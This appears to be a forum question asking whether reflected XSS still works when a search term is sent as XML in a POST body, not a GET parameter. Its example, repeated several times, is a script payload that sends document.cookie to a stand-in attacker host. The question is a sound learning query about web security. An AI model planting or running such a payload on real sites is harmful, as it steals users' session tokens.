I know that a reflected XSS can be done with a GET request like:
http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
As long the response looks similar to this:
<html>
<head>
<title>Your Serach Results</title>
</head>
<body>
<h2>No results for: </h2>
<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
</body>
</html>
But is this attack still possible, in case that the search term is send along a POST request in the http body as part of XML content. This approch is often used by RESTful services.
<Query>
<SearchTerm>
script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
</SearchTerm>
</Query>
If this is possible, how can an attacker achieve this?
[EDIT]
It is also required that the Content-Type
header is set to application/xml